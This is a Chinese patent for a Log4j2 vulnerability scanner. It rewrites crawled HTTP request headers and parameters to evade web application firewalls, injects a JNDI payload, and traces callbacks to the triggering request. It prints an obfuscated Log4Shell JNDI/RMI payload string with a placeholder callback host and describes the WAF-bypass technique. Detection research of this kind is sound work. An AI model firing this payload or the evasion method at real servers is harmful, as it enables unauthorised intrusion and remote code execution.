CN114785621B - 漏洞检测方法、装置、电子设备及计算机可读存储介质 - Google Patents
漏洞检测方法、装置、电子设备及计算机可读存储介质 Download PDFInfo
- Publication number
- CN114785621B CN114785621B CN202210683244.9A CN202210683244A CN114785621B CN 114785621 B CN114785621 B CN 114785621B CN 202210683244 A CN202210683244 A CN 202210683244A CN 114785621 B CN114785621 B CN 114785621B
- Authority
- CN
- China
- Prior art keywords
- request
- network request
- message queue
- web server
- network
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Active
Links
Images
Classifications
-
- H—ELECTRICITY
- H04—ELECTRIC COMMUNICATION TECHNIQUE
- H04L—TRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
- H04L63/00—Network architectures or network communication protocols for network security
- H04L63/14—Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
- H04L63/1433—Vulnerability analysis
-
- H—ELECTRICITY
- H04—ELECTRIC COMMUNICATION TECHNIQUE
- H04L—TRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
- H04L63/00—Network architectures or network communication protocols for network security
- H04L63/14—Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
- H04L63/1408—Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic by monitoring network traffic
- H04L63/1425—Traffic logging, e.g. anomaly detection
-
- H—ELECTRICITY
- H04—ELECTRIC COMMUNICATION TECHNIQUE
- H04L—TRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
- H04L67/00—Network arrangements or protocols for supporting network services or applications
- H04L67/01—Protocols
- H04L67/02—Protocols based on web technology, e.g. hypertext transfer protocol [HTTP]
Landscapes
- Engineering & Computer Science (AREA)
- Computer Security & Cryptography (AREA)
- Computer Networks & Wireless Communication (AREA)
- Signal Processing (AREA)
- Computer Hardware Design (AREA)
- Computing Systems (AREA)
- General Engineering & Computer Science (AREA)
- Computer And Data Communications (AREA)
Abstract
本申请提供一种漏洞检测方法、装置、电子设备及计算机可读存储介质。方法包括:从指定消息队列获取预先存储的网络请求;将网络请求中的请求头和请求参数按预设替换规则进行替换,得到替换后的网络请求;将替换后的网络请求发送至Web服务器;通过JNDI平台接收Web服务器发送的与任一网络请求对应的唯一路径字符串;根据预存的唯一路径字符串与网络请求的对应关系,确定与唯一路径字符串对应的网络请求作为触发Web服务器的漏洞的目标网络请求。在本方案中,替换后的网络请求有利于绕过Web服务器上的WAF拦截,如此,有利于提高漏洞检测的可靠性,另外,基于唯一路径字符串可以对异常的网络请求进行定位。
Description
技术领域
本申请涉及网络安全技术领域,具体而言,涉及一种漏洞检测方法、装置、电子设备及计算机可读存储介质。
背景技术
Apache Log4j是一个基于Java的日志记录组件,Apache Log4j2是Log4j的升级版本。Log4j2组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。在现有技术中,Log4j2 远程代码执行漏洞主动检测式存在不足:例如,如果Web服务器存在WAF(WebApplication Firewall,网站应用级入侵防御系统)保护,现有的检测语句将会被WAF拦截,导致检测语句将无法被发送到Web服务器,影响漏洞的检测,另外也存在无法准确检测哪个网络请求触发了Web服务器的漏洞的情况。
发明内容
本申请的目的在于提供一种漏洞检测方法、装置、电子设备及计算机可读存储介质。
为了实现上述目的,本申请提供的技术方案包括:
第一方面,提供一种漏洞检测方法,所述方法包括:从指定消息队列获取预先存储的网络请求;将所述网络请求中的请求头和请求参数按预设替换规则进行替换,得到替换后的网络请求,其中,替换后的网络请求用于绕过WAF的拦截;将所述替换后的网络请求发送至Web服务器;通过JNDI平台接收所述Web服务器发送的与任一网络请求对应的唯一路径字符串,其中,所述唯一路径字符串是在所述Web服务器存在漏洞且预设检测负载规则被日志记录组件触发时,由所述Web服务器发送的;根据预存的所述唯一路径字符串与网络请求的对应关系,确定与所述唯一路径字符串对应的网络请求作为触发所述Web服务器的漏洞的目标网络请求。
在上述的实施方式中,通过对网络请求中的请求头和请求参数进行检测与替换,使得替换后的网络请求有利于绕过Web服务器上的WAF拦截,如此,有利于提高漏洞检测的可靠性,避免网络请求被WAF拦截而无法进行漏洞检测。另外,电子设备基于JNDI平台可以接收Web服务器发送的唯一路径字符串,由于唯一路径字符串是在Web服务器存在漏洞且预设检测负载规则被日志记录组件触发时才发送的,且唯一路径字符串与网络请求关联,如此,可以基于唯一路径字符串确定出触发Web服务器漏洞的网络请求,从而可以对异常的网络请求进行定位。
结合第一方面,在一些可选的实施方式中,在从指定消息队列获取预先存储的网络请求之前,所述方法还包括:从Web应用程序获取网络请求;判断所述指定消息队列中是否存在与所述网络请求相同的请求;当所述指定消息队列中不存在与所述网络请求相同的请求时,将所述网络请求存储于所述指定消息队列;或者,当所述指定消息队列中存在与所述网络请求相同的请求时,丢弃所述网络请求。
在上述的实施方式中,在将网络请求存储至消息队列之前,通过进行去重操作,可以节省消息队列的存储资源,并减少发包数量。
结合第一方面,在一些可选的实施方式中,在判断所述指定消息队列中是否存在与所述网络请求相同的请求之前,所述方法还包括:对所述网络请求中的请求路径、域名及请求参数进行消息摘要计算,得到表征所述网络请求的唯一签名;其中,判断所述指定消息队列中是否存在与所述网络请求相同的请求,包括:当所述指定消息队列中存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中存在与所述网络请求相同的请求;当所述指定消息队列中不存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中不存在与所述网络请求相同的请求。
在上述的实施方式中,基于唯一签名来判断是否存在重复的网络请求,如此,方便快速准确地对重复的网络请求进行过滤。
结合第一方面,在一些可选的实施方式中,在通过JNDI平台接收Web服务器发送的与任一网络请求对应的唯一路径字符串之前,所述方法还包括:根据所述Web服务器的多个漏洞,创建基于LDAP协议的所述预设检测负载规则,所述预设检测负载规则用于被日志记录组件触发以检测所述Web服务器的漏洞。
结合第一方面,在一些可选的实施方式中,所述方法还包括:基于接收的操作请求,对数据库执行与所述操作请求对应的操作,所述数据库存储有所述网络请求、所述网络请求对应的唯一路径字符串及所述替换后的网络请求,与所述操作请求对应的操作包括查询操作。
结合第一方面,在一些可选的实施方式中,所述方法还包括:在确定出所述目标网络请求后,停止运行与所述目标网络请求对应的任务。
结合第一方面,在一些可选的实施方式中,所述网络请求包括HTTP请求和/或HTTPS请求,所述日志记录组件为Log4j组件。
第二方面,本申请还提供一种漏洞检测装置,所述装置包括:获取单元,用于从指定消息队列获取预先存储的网络请求;替换单元,用于将所述网络请求中的请求头和请求参数按预设替换规则进行替换,得到替换后的网络请求,其中,替换后的网络请求用于绕过WAF的拦截;发送单元,用于将所述替换后的网络请求发送至Web服务器;接收单元,用于通过JNDI平台接收所述Web服务器发送的与任一网络请求对应的唯一路径字符串,其中,所述唯一路径字符串是在所述Web服务器存在漏洞且预设检测负载规则被日志记录组件触发时,由所述Web服务器发送的;确定单元,用于根据预存的所述唯一路径字符串与网络请求的对应关系,确定与所述唯一路径字符串对应的网络请求作为触发所述Web服务器的漏洞的目标网络请求。
第三方面,本申请还提供一种电子设备,所述电子设备包括相互耦合的处理器及存储器,所述存储器内存储计算机程序,当所述计算机程序被所述处理器执行时,使得所述电子设备执行上述的方法。
第四方面,本申请还提供一种计算机可读存储介质,所述计算机可读存储介质中存储有计算机程序,当所述计算机程序在计算机上运行时,使得所述计算机执行上述的方法。
附图说明
为了更清楚地说明本申请实施例的技术方案,下面将对本申请实施例中所需要使用的附图作简单地介绍,应当理解,以下附图仅示出了本申请的某些实施例,因此不应被看作是对范围的限定,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他相关的附图。
图1为本申请实施例提供的电子设备的框图。
图2为本申请实施例提供的电子设备与Web服务器的通信连接示意图。
图3为本申请实施例提供的漏洞检测方法的流程示意图。
图4为本申请实施例提供的漏洞检测装置的框图。
图标:10-电子设备;11-处理模块;12-存储模块;13-通信模块;20-Web服务器;200-漏洞检测装置;210-获取单元;220-替换单元;230-发送单元;240-接收单元;250-确定单元。
具体实施方式
下面将结合本申请实施例中的附图,对本申请实施例中的技术方案进行描述。需要说明的是,术语“第一”、“第二”等仅用于区分描述,而不能理解为指示或暗示相对重要性。在不冲突的情况下,下述的实施例及实施例中的特征可以相互组合。
请参照图1,本申请提供一种电子设备10,可以作为扫描器对Web服务器20进行漏洞检测。
电子设备10可以包括处理模块11及存储模块12。存储模块12内存储计算机程序,当计算机程序被所述处理模块11执行时,使得电子设备10能够执行下述方法中的各步骤。
请参照图2,电子设备10可以与Web服务器20通信连接。另外,电子设备10还可以与Web应用终端通信连接。其中,Web应用终端为部署有Web应用程序的终端设备,可以是但不限于智能手机、个人电脑、服务器等设备。Web服务器20为用于对Web应用终端发起的网络请求进行响应的服务器。电子设备10可以主动对Web服务器20的漏洞进行检测。
请参照图3,本申请还提供一种漏洞检测方法,可以应用于上述的电子设备10,由电子设备10执行或实现方法的各步骤,方法可以包括如下步骤:
步骤110,从指定消息队列获取预先存储的网络请求;
步骤120,将所述网络请求中的请求头和请求参数按预设替换规则进行替换,得到替换后的网络请求,其中,替换后的网络请求用于绕过WAF(Web Application Firewall,网站应用级入侵防御系统)的拦截;
步骤130,将所述替换后的网络请求发送至Web服务器;
步骤140,通过JNDI(Java Naming and Directory Interface,Java命名和目录接口)平台接收所述Web服务器发送的与任一网络请求对应的唯一路径字符串,其中,所述唯一路径字符串是在所述Web服务器存在漏洞且预设检测负载规则被日志记录组件触发时,由所述Web服务器发送的;
步骤150,根据预存的所述唯一路径字符串与网络请求的对应关系,确定与所述唯一路径字符串对应的网络请求作为触发所述Web服务器的漏洞的目标网络请求。
在上述的实施方式中,通过对网络请求中的请求头和请求参数进行检测与替换,使得替换后的网络请求有利于绕过Web服务器上的WAF拦截,如此,有利于提高漏洞检测的可靠性,避免网络请求被WAF拦截而无法进行漏洞检测。另外,电子设备10基于JNDI平台可以接收Web服务器发送的唯一路径字符串,由于唯一路径字符串是在Web服务器存在漏洞且预设检测负载规则被日志记录组件触发时才发送的,且唯一路径字符串与网络请求关联,如此,可以基于唯一路径字符串确定出触发Web服务器漏洞的网络请求,从而可以对异常的网络请求进行定位。
下面将对方法的各步骤进行详细阐述,如下:
在步骤110之前,方法还可以包括从Web应用程序获取网络请求,并将网络请求存储于指定消息队列的步骤。例如,在步骤110之前,方法还可以包括:
步骤101,从Web应用程序获取网络请求;
步骤102,判断所述指定消息队列中是否存在与所述网络请求相同的请求;
步骤103,当所述指定消息队列中不存在与所述网络请求相同的请求时,将所述网络请求存储于所述指定消息队列;
步骤104,当所述指定消息队列中存在与所述网络请求相同的请求时,丢弃所述网络请求。其中,步骤103与步骤104之间为“或”的关系。
在步骤101中,电子设备10可以从安装有Web应用程序的应用终端,获取Web应用程序中的网络请求。获取网络请求的方式可以是网络爬虫。网络请求可以是但不限于HTTP(Hyper Text Transfer Protocol,超文本传输协议)请求、HTTPS(Hyper Text TransferProtocol over SecureSocket Layer,超文本传输安全协议)请求。
指定消息队列设置在电子设备10的本地,消息队列的类型可以根据实际情况灵活确定。例如,指定消息队列可以为Redis消息队列。
示例性地,电子设备10可以通过网络爬虫将WEB应用中的HTTP请求爬取下来并储存到Redis消息队列中。
在向Redis消息队列存储网络请求期间,电子设备10可以对网络请求进行去重,以减少发包数量。例如,在步骤102之前,方法还可以包括:对所述网络请求中的请求路径、域名及请求参数进行消息摘要计算,得到表征所述网络请求的唯一签名。
示例性地,电子设备10可以对HTTP请求进行消息摘要计算。其中,需要进行消息摘要计算的内容可以根据实际情况灵活确定。比如,可以对HTTP请求中的(method+path+sorted(parameters))采用MD5算法(Message-Digest Algorithm 5,信息摘要算法第5版)进行消息摘要计算,得到表示该HTTP请求的Hash值(或称为MD5值),该Hash值即为该网络请求的唯一签名。可理解地,不同网络请求所计算得到的Hash值不同,相同网络请求所计算得到的Hash值相同。
其中,method表示网络请求的请求方式,如请求方式包括但不限于GET、POST等;path为请求路径,parameters为请求参数的参数列表,sorted表示按照参数字母序号进行排序。
电子设备10在对HTTP请求进行消息摘要计算,并得到唯一签名之后,可以判断Redis消息队列中是否已经存在与该唯一签名相同的网络请求。例如,在步骤102中,判断方式可以为:
当所述指定消息队列中存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中存在与所述网络请求相同的请求;
当所述指定消息队列中不存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中不存在与所述网络请求相同的请求。
应当理解,若指定消息队列中存在与网络请求相同的请求,电子设备10便丢弃该网络请求,以实现网络请求的去重。若指定消息队列中不存在与网络请求相同的请求时,则将网络请求存储于指定消息队列,以便于进行后续的处理(比如执行步骤110)。
在步骤110中,在需要进行漏洞检测时(比如,在发起漏洞检测的请求时),电子设备10可以自动从指定消息队列获取预先存储的网络请求。
在步骤120中,电子设备10可以对网络请求的请求头和请求参数进行替换,使得替换后的网络请求可以绕过WAF的拦截。可理解地,替换后的网络请求不具有触发WAF拦截的特征,若WAF的拦截规则有更新,则可以基于更新后的拦截规则,对网络请求再次进行替换,以确保替换后的网络请求能绕开更新后的WAF的拦截。
在步骤130中,替换后的网络请求被发送至Web服务器之后,若Web服务器部署有WAF,则WAF可以对替换后的网络请求进行检测。由于替换后的网络请求不具有触发WAF拦截的特征,因此可以绕开WAF的拦截。
若Web服务器存在漏洞,且预设检测负载规则被日志记录组件触发时,Web服务器将会连上JNDI平台,此时,Web服务器可以将预设检测负载规则中的唯一路径字符串发送到JNDI平台。
在步骤140中,日志记录组件可以为Log4j组件。电子设备10可以通过JNDI平台接收Web服务器发送的唯一路径字符串。该唯一路径字符串与网络请求对应。
在步骤150中,由于唯一路径字符串与网络请求预先存在关联关系,因此,电子设备10在获取到唯一路径字符串之后,可以基于预先存储的该关联关系,确定出与当前的唯一路径字符串对应的网络请求,该网络请求即为触发Web服务器的漏洞的目标网络请求。
在本实施例中,在步骤140之前,方法还可以包括:根据所述Web服务器的多个漏洞,创建基于LDAP(Lightweight Directory Access Protocol,轻型目录访问协议)的所述预设检测负载规则,所述预设检测负载规则用于被日志记录组件触发以检测所述Web服务器的漏洞,如此,可以利用预设检测负载规则实现Web服务器的漏洞的检测。
在本实施例中,方法还可以包括:基于接收的操作请求,对数据库执行与所述操作请求对应的操作,所述数据库存储有所述网络请求、所述网络请求对应的唯一路径字符串及所述替换后的网络请求,与所述操作请求对应的操作包括查询操作。
应当理解,电子设备10在对网络请求的请求头和请求参数进行替换时,可以将原网络请求、原网络请求对应的唯一路径字符串及替换后的网络请求存储于数据库,以方便后续在数据库中查找相应的数据。例如,在接收到用于查询网络请求的请求参数的操作请求时,可以从数据库中查找相应网络请求的请求参数。
方法还可以包括:在确定出所述目标网络请求后,停止运行与所述目标网络请求对应的任务。
目标网络请求指对Web服务器存在安全威胁,会触发Web服务器漏洞的请求。电子设备10在确定出目标网络请求之后,便可以通知Web服务器停止运行与目标网络请求对应的任务,以避免漏洞影响Web服务器的正常运行。
为了便于理解,下面将举例阐述方法的实现过程:
首先,扫描器(电子设备10)采用网络爬虫将Web应用程序中的HTTP请求爬取下来,并储存到扫描器本地的Redis消息队列中。
为了去掉重复的网络请求,减少发包数量,扫描器对HTTP请求进行消息摘要计算,如采用MD5算法,对网络请求进行(method+path+sorted(parameters))消息消息摘要计算。其中method表示网络请求的请求方式,如GET,POST等,其中path为网络请求的请求路径,parameters 为参数列表,sorted表示按照参数字母序号进行排序。计算得到的字符串即为该HTTP请求的唯一签名。若Redis消息队列中存在与所接收的网络请求相同的唯一签名,则丢弃该网络请求。若Redis消息队列中不存在与所接收的网络请求相同的唯一签名,则将所接收的网络请求存储于Redis消息队列中,如此,来达到去重的效果。
然后,在进行漏洞检测时,扫描器上的任务调度程序先从Redis消息队列中读取对应的网络请求,并将请求中的Header和请求参数值用预先生成的预设替换规则进行一一替换,并生成对应新的请求,再将新生成的请求发送给对应的Web服务器。另外,扫描器可以将预设检测负载规则、负载规则中的唯一路径字符串及被替换后的请求,以及参数等信息记录到扫描器的数据库。
其中,预设检测负载规则是预先构建的,构建方式可以为:依据Log4j远程代码执行漏洞原理构建检测负载规则。比如, ${${::-${::-}}${::-j}ndi:${::-r}mi://[ip:port]/[randstr]} ,其中${::-${::-}}因为Log4j会进行递归解析所以变成了空,整个检测负载规则等价于{jndi:rmi://[ip:port]/randstr}, [ip:port], 其中[ip:port]替换为对应的JNDI平台的IP地址和端口,[randstr]为随机生成的字符串,用来和发送的请求进行一一对应。[randstr]表示请求的唯一路径字符串,用于定位到所发送的网络请求。如果漏洞触发成功那么JNDI平台将能够获取到该字符串。
如果Web服务器存在漏洞,并且预设检测负载规则被Log4j触发,那么Web服务器将会连上扫描器上的JNDI平台,并将预设检测负载规则中的与网络请求对应的唯一路径字符串发送到JNDI平台,JNDI平台可以对唯一路径字符串进行存储记录。
然后,在扫描器上,任务调度程序通过比对JNDI平台记录的唯一路径字符串,和发送漏洞检测请求时保存下的唯一路径字符串和网络请求的关联关系,从而找到发给Web服务器的网络请求及请求参数。该网络请求即为触发Web服务器漏洞的目标网络请求。如此,也就能够发现触发Web服务器漏洞的网络请求以及与该请求对应的相应请求参数信息。
在确定出目标网络请求之后,任务调度程序将被终止,与网络请求对应的任务将停止运行。
请参照图4,本申请实施例还提供一种漏洞检测装置200,可以应用于上述的电子设备10中,用于执行方法中的各步骤。漏洞检测装置200包括至少一个可以软件或固件(Firmware)的形式存储于存储模块12中或固化在电子设备10操作系统(OperatingSystem,OS)中的软件功能模块。处理模块11用于执行存储模块12中存储的可执行模块,例如漏洞检测装置200所包括的软件功能模块及计算机程序等。
漏洞检测装置200可以包括获取单元210、替换单元220、发送单元230、接收单元240及确定单元250,各单元具有的功能可以如下:
获取单元210,用于从指定消息队列获取预先存储的网络请求;
替换单元220,用于将所述网络请求中的请求头和请求参数按预设替换规则进行替换,得到替换后的网络请求,其中,替换后的网络请求用于绕过WAF的拦截;
发送单元230,用于将所述替换后的网络请求发送至Web服务器;
接收单元240,用于通过JNDI平台接收所述Web服务器发送的与任一网络请求对应的唯一路径字符串,其中,所述唯一路径字符串是在所述Web服务器存在漏洞且预设检测负载规则被日志记录组件触发时,由所述Web服务器发送的;
确定单元250,用于根据预存的所述唯一路径字符串与网络请求的对应关系,确定与所述唯一路径字符串对应的网络请求作为触发所述Web服务器的漏洞的目标网络请求。
可选地,漏洞检测装置200还可以包括判断单元。在获取单元210从指定消息队列获取预先存储的网络请求之前,获取单元210还可以用于从Web应用程序获取网络请求;判断单元用于判断所述指定消息队列中是否存在与所述网络请求相同的请求;判断单元还用于当所述指定消息队列中不存在与所述网络请求相同的请求时,将所述网络请求存储于所述指定消息队列;或者,判断单元还用于当所述指定消息队列中存在与所述网络请求相同的请求时,丢弃所述网络请求。
可选地,漏洞检测装置200还可以包括计算单元。在判断单元判断所述指定消息队列中是否存在与所述网络请求相同的请求之前,计算单元用于对所述网络请求中的请求路径、域名及请求参数进行消息摘要计算,得到表征所述网络请求的唯一签名。判断单元用于当所述指定消息队列中存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中存在与所述网络请求相同的请求;或者,当所述指定消息队列中不存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中不存在与所述网络请求相同的请求。
可选地,漏洞检测装置200还可以包括创建单元。在接收单元240通过JNDI平台接收Web服务器发送的与任一网络请求对应的唯一路径字符串之前,创建单元用于根据所述Web服务器的多个漏洞,创建基于LDAP协议的所述预设检测负载规则,所述预设检测负载规则用于被日志记录组件触发以检测所述Web服务器的漏洞。
可选地,漏洞检测装置200还可以包括响应单元,用于基于接收的操作请求,对数据库执行与所述操作请求对应的操作,所述数据库存储有所述网络请求、所述网络请求对应的唯一路径字符串及所述替换后的网络请求,与所述操作请求对应的操作包括查询操作。
可选地,漏洞检测装置200还可以包括控制单元,用于在确定出所述目标网络请求后,停止运行与所述目标网络请求对应的任务。
在本实施例中,处理模块11可以是一种集成电路芯片,具有信号的处理能力。上述处理模块11可以是通用处理器。例如,该处理器可以是中央处理器、图形处理器、网络处理器等;还可以是数字信号处理器、专用集成电路、现场可编程门阵列或者其他可编程逻辑器件、分立门或者晶体管逻辑器件、分立硬件组件,可以实现或者执行本申请实施例中的公开的各方法、步骤及逻辑框图。
存储模块12可以是,但不限于,随机存取存储器,只读存储器,可编程只读存储器,可擦除可编程只读存储器,电可擦除可编程只读存储器等。在本实施例中,存储模块12可以用于存储网络请求、预设检测负载规则等。当然,存储模块12还可以用于存储程序,处理模块11在接收到执行指令后,执行该程序。
通信模块13用于通过网络建立电子设备10与其他设备的通信连接,并通过网络收发数据。
可以理解的是,图1所示的结构仅为电子设备10的一种结构示意图,电子设备10还可以包括比图1所示更多的组件。图1中所示的各组件可以采用硬件、软件或其组合实现。
需要说明的是,所属领域的技术人员可以清楚地了解到,为描述的方便和简洁,上述描述的电子设备10的具体工作过程,可以参考前述方法中的各步骤对应过程,在此不再过多赘述。
本申请实施例还提供一种计算机可读存储介质。计算机可读存储介质中存储有计算机程序,当计算机程序在计算机上运行时,使得计算机执行如上述实施例中所述的漏洞检测方法。
通过以上的实施方式的描述,本领域的技术人员可以清楚地了解到本申请可以通过硬件实现,也可以借助软件加必要的通用硬件平台的方式来实现,基于这样的理解,本申请的技术方案可以以软件产品的形式体现出来,该软件产品可以存储在一个非易失性存储介质(可以是CD-ROM,U盘,移动硬盘等)中,包括若干指令用以使得一台计算机设备(可以是个人计算机,服务器,或者网络设备等)执行本申请各个实施场景所述的方法。
综上所述,在本方案中,通过对网络请求中的请求头和请求参数进行检测与替换,使得替换后的网络请求有利于绕过Web服务器上的WAF拦截,如此,有利于提高漏洞检测的可靠性,避免网络请求被WAF拦截而无法进行漏洞检测。另外,电子设备基于JNDI平台可以接收Web服务器发送的唯一路径字符串,由于唯一路径字符串是在Web服务器存在漏洞且预设检测负载规则被日志记录组件触发时才发送的,且唯一路径字符串与网络请求关联,如此,可以基于唯一路径字符串确定出触发Web服务器漏洞的网络请求,从而可以对异常的网络请求进行定位。
在本申请所提供的实施例中,应该理解到,所揭露的装置、系统和方法,也可以通过其它的方式实现。以上所描述的装置、系统和方法实施例仅仅是示意性的,例如,附图中的流程图和框图显示了根据本申请的多个实施例的系统、方法和计算机程序产品的可能实现的体系架构、功能和操作。在这点上,流程图或框图中的每个方框可以代表一个模块、程序段或代码的一部分,所述模块、程序段或代码的一部分包含一个或多个用于实现规定的逻辑功能的可执行指令。也要注意的是,框图和/或流程图中的每个方框、以及框图和/或流程图中的方框的组合,可以用执行规定的功能或动作的专用的基于硬件的系统来实现,或者可以用专用硬件与计算机指令的组合来实现。另外,在本申请各个实施例中的各功能模块可以集成在一起形成一个独立的部分,也可以是各个模块单独存在,也可以两个或两个以上模块集成形成一个独立的部分。
以上所述仅为本申请的实施例而已,并不用于限制本申请的保护范围,对于本领域的技术人员来说,本申请可以有各种更改和变化。凡在本申请的精神和原则之内,所作的任何修改、等同替换、改进等,均应包含在本申请的保护范围之内。
Claims (8)
1.一种漏洞检测方法,其特征在于,所述方法包括:
从指定消息队列获取预先存储的网络请求;
将所述网络请求中的请求头和请求参数按预设替换规则进行替换,得到替换后的网络请求,其中,替换后的网络请求用于绕过WAF的拦截;
将所述替换后的网络请求发送至Web服务器;
通过JNDI平台接收所述Web服务器发送的与任一网络请求对应的唯一路径字符串,其中,所述唯一路径字符串是在所述Web服务器存在漏洞且预设检测负载规则被日志记录组件触发时,由所述Web服务器发送的;
根据预存的所述唯一路径字符串与网络请求的对应关系,确定与所述唯一路径字符串对应的网络请求作为触发所述Web服务器的漏洞的目标网络请求;
在从指定消息队列获取预先存储的网络请求之前,所述方法还包括:
从Web应用程序获取网络请求;
判断所述指定消息队列中是否存在与所述网络请求相同的请求;
当所述指定消息队列中不存在与所述网络请求相同的请求时,将所述网络请求存储于所述指定消息队列;
或者,当所述指定消息队列中存在与所述网络请求相同的请求时,丢弃所述网络请求;
以及,在判断所述指定消息队列中是否存在与所述网络请求相同的请求之前,所述方法还包括:
对所述网络请求中的请求路径、域名及请求参数进行消息摘要计算,得到表征所述网络请求的唯一签名;
其中,判断所述指定消息队列中是否存在与所述网络请求相同的请求,包括:
当所述指定消息队列中存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中存在与所述网络请求相同的请求;
当所述指定消息队列中不存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中不存在与所述网络请求相同的请求。
2.根据权利要求1所述的方法,其特征在于,在通过JNDI平台接收Web服务器发送的与任一网络请求对应的唯一路径字符串之前,所述方法还包括:
根据所述Web服务器的多个漏洞,创建基于LDAP协议的所述预设检测负载规则,所述预设检测负载规则用于被日志记录组件触发以检测所述Web服务器的漏洞。
3.根据权利要求1所述的方法,其特征在于,所述方法还包括:
基于接收的操作请求,对数据库执行与所述操作请求对应的操作,所述数据库存储有所述网络请求、所述网络请求对应的唯一路径字符串及所述替换后的网络请求,与所述操作请求对应的操作包括查询操作。
4.根据权利要求1所述的方法,其特征在于,所述方法还包括:
在确定出所述目标网络请求后,停止运行与所述目标网络请求对应的任务。
5.根据权利要求1所述的方法,其特征在于,所述网络请求包括HTTP请求和/或HTTPS请求,所述日志记录组件为Log4j组件。
6.一种漏洞检测装置,其特征在于,所述装置包括:
获取单元,用于从指定消息队列获取预先存储的网络请求;
替换单元,用于将所述网络请求中的请求头和请求参数按预设替换规则进行替换,得到替换后的网络请求,其中,替换后的网络请求用于绕过WAF的拦截;
发送单元,用于将所述替换后的网络请求发送至Web服务器;
接收单元,用于通过JNDI平台接收所述Web服务器发送的与任一网络请求对应的唯一路径字符串,其中,所述唯一路径字符串是在所述Web服务器存在漏洞且预设检测负载规则被日志记录组件触发时,由所述Web服务器发送的;
确定单元,用于根据预存的所述唯一路径字符串与网络请求的对应关系,确定与所述唯一路径字符串对应的网络请求作为触发所述Web服务器的漏洞的目标网络请求;
所述装置还包括判断单元,所述获取单元从指定消息队列获取预先存储的网络请求之前,所述获取单元还用于从Web应用程序获取网络请求;所述判断单元用于判断所述指定消息队列中是否存在与所述网络请求相同的请求;所述判断单元还用于当所述指定消息队列中不存在与所述网络请求相同的请求时,将所述网络请求存储于所述指定消息队列;或者,当所述指定消息队列中存在与所述网络请求相同的请求时,丢弃所述网络请求;
所述装置还包括计算单元,在所述判断单元判断所述指定消息队列中是否存在与所述网络请求相同的请求之前,所述计算单元用于对所述网络请求中的请求路径、域名及请求参数进行消息摘要计算,得到表征所述网络请求的唯一签名;所述判断单元用于当所述指定消息队列中存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中存在与所述网络请求相同的请求;当所述指定消息队列中不存在与所述网络请求的唯一签名相同的请求时,确定所述指定消息队列中不存在与所述网络请求相同的请求。
7.一种电子设备,其特征在于,所述电子设备包括相互耦合的处理器及存储器,所述存储器内存储计算机程序,当所述计算机程序被所述处理器执行时,使得所述电子设备执行如权利要求1-5中任一项所述的方法。
8.一种计算机可读存储介质,其特征在于,所述计算机可读存储介质中存储有计算机程序,当所述计算机程序在计算机上运行时,使得所述计算机执行如权利要求1-5中任一项所述的方法。
Priority Applications (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202210683244.9A CN114785621B (zh) | 2022-06-17 | 2022-06-17 | 漏洞检测方法、装置、电子设备及计算机可读存储介质 |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202210683244.9A CN114785621B (zh) | 2022-06-17 | 2022-06-17 | 漏洞检测方法、装置、电子设备及计算机可读存储介质 |
Publications (2)
Publication Number | Publication Date |
---|---|
CN114785621A CN114785621A (zh) | 2022-07-22 |
CN114785621B true CN114785621B (zh) | 2022-11-01 |
Family
ID=82422008
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN202210683244.9A Active CN114785621B (zh) | 2022-06-17 | 2022-06-17 | 漏洞检测方法、装置、电子设备及计算机可读存储介质 |
Country Status (1)
Country | Link |
---|---|
CN (1) | CN114785621B (zh) |
Families Citing this family (1)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN116956293B (zh) * | 2023-09-19 | 2024-01-30 | 天津华来科技股份有限公司 | 一种api安全漏洞检测系统及方法 |
Citations (10)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
US8601586B1 (en) * | 2008-03-24 | 2013-12-03 | Google Inc. | Method and system for detecting web application vulnerabilities |
CN108632219A (zh) * | 2017-03-21 | 2018-10-09 | 腾讯科技(深圳)有限公司 | 一种网站漏洞检测方法、检测服务器及系统 |
CN110401634A (zh) * | 2019-06-24 | 2019-11-01 | 北京墨云科技有限公司 | 一种Web应用漏洞检测规则引擎实现方法及终端 |
CN110768951A (zh) * | 2019-08-14 | 2020-02-07 | 奇安信科技集团股份有限公司 | 验证系统漏洞的方法及装置、存储介质、电子装置 |
CN110768950A (zh) * | 2019-08-14 | 2020-02-07 | 奇安信科技集团股份有限公司 | 渗透指令的发送方法及装置、存储介质、电子装置 |
CN110881043A (zh) * | 2019-11-29 | 2020-03-13 | 杭州迪普科技股份有限公司 | 一种web服务器漏洞的检测方法及装置 |
CN111182060A (zh) * | 2019-12-30 | 2020-05-19 | 北京健康之家科技有限公司 | 报文的检测方法及装置 |
CN113486335A (zh) * | 2021-05-27 | 2021-10-08 | 贵州电网有限责任公司 | 一种基于rasp零规则的jni恶意攻击检测方法及装置 |
CN114143047A (zh) * | 2021-11-17 | 2022-03-04 | 湖北天融信网络安全技术有限公司 | 漏洞检测方法、装置、终端设备、Web服务器及存储介质 |
CN114301673A (zh) * | 2021-12-28 | 2022-04-08 | 上海识装信息科技有限公司 | 一种漏洞检测方法、装置、电子设备及存储介质 |
Family Cites Families (6)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
